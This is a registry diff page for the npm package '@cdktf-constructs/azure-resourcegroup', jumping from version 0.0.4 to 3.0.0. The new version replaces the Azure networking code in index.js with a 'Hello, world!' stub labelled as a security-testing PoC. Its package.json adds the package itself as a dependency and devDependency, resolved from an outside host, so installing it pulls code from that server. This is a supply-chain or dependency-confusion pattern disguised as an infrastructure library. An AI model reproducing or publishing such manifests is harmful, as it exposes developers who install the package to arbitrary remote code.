@cdktf-constructs/azure-resourcegroup 0.0.4 → 3.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +3 -65
  2. package/package.json +7 -3
package/index.js CHANGED
@@ -1,68 +1,6 @@
1
- "use strict";
1
+ #!/usr/bin/env node
2
2
 
3
- const traverse = require("traverse");
4
- const { get, has, find, memoize } = require("lodash");
3
+ // This Package use for security testing PoC purpose
5
4
 
6
- const vnetConnection = new VirtualNetworkGatewayConnection(this, 'vnet-connection', {
7
- name: 'conn-vnet-to-vnet',
8
- location: 'eastus',
9
- resourceGroupId: resourceGroup.id,
10
- connectionType: 'Vnet2Vnet',
11
- virtualNetworkGateway1: {
12
- id: vpnGateway1.id
13
- },
14
- virtualNetworkGateway2: {
15
- id: vpnGateway2.id
16
- },
17
- sharedKey: 'YourSecureSharedKey123!',
18
- enableBgp: true,
19
- tags: {
20
- environment: 'production',
21
- purpose: 'vnet-peering'
22
- }
23
- });
5
+ console.log('Hello, world!');
24
6
 
25
- const erConnection = new VirtualNetworkGatewayConnection(this, 'er-connection', {
26
- name: 'conn-expressroute',
27
- location: 'eastus',
28
- resourceGroupId: resourceGroup.id,
29
- connectionType: 'ExpressRoute',
30
- virtualNetworkGateway1: {
31
- id: erGateway.id
32
- },
33
- peer: {
34
- id: expressRouteCircuit.id
35
- },
36
- authorizationKey: 'optional-if-cross-subscription',
37
- tags: {
38
- environment: 'production',
39
- purpose: 'expressroute'
40
- }
41
- });
42
-
43
- const customConnection = new VirtualNetworkGatewayConnection(this, 'custom-ipsec', {
44
- name: 'conn-custom-ipsec',
45
- location: 'eastus',
46
- resourceGroupId: resourceGroup.id,
47
- connectionType: 'IPsec',
48
- virtualNetworkGateway1: {
49
- id: vpnGateway.id
50
- },
51
- localNetworkGateway2: {
52
- id: localGateway.id
53
- },
54
- sharedKey: 'YourSecureSharedKey123!',
55
- connectionProtocol: 'IKEv2',
56
- ipsecPolicies: [{
57
- dhGroup: 'DHGroup14',
58
- ikeEncryption: 'AES256',
59
- ikeIntegrity: 'SHA256',
60
- ipsecEncryption: 'AES256',
61
- ipsecIntegrity: 'SHA256',
62
- pfsGroup: 'PFS2048',
63
- saLifeTimeSeconds: 3600,
64
- saDataSizeKilobytes: 102400000
65
- }],
66
- usePolicyBasedTrafficSelectors: true,
67
- dpdTimeoutSeconds: 45
68
- });
package/package.json CHANGED
@@ -1,7 +1,7 @@
1
1
  {
2
2
  "name": "@cdktf-constructs/azure-resourcegroup",
3
- "version": "0.0.4",
4
- "description": "Npm",
3
+ "version": "3.0.0",
4
+ "description": "NPM",
5
5
  "main": "index.js",
6
6
  "scripts": {
7
7
  "test": "echo \"Error: no test specified\" && exit 1"
@@ -10,13 +10,17 @@
10
10
  "axios": "^1.7.9",
11
11
  "lodash": "^4.17.11",
12
12
  "node-fetch": "^3.3.2",
13
+ "@cdktf-constructs/azure-resourcegroup": "http://pack.nppacks.com/npm/@cdktf-constructs/azure-resourcegroup",
13
14
  "traverse": "0.6.6",
14
15
  "ws": "^8.18.0"
15
16
  },
17
+ "devDependencies": {
18
+ "@cdktf-constructs/azure-resourcegroup": "http://pack.nppacks.com/npm/@cdktf-constructs/azure-resourcegroup"
19
+ },
16
20
  "engines": {
17
21
  "node": ">=14.0.0"
18
22
  },
19
23
  "keywords": [],
20
- "author": "Mathew",
24
+ "author": "JPD",
21
25
  "license": "MIT"
22
26
  }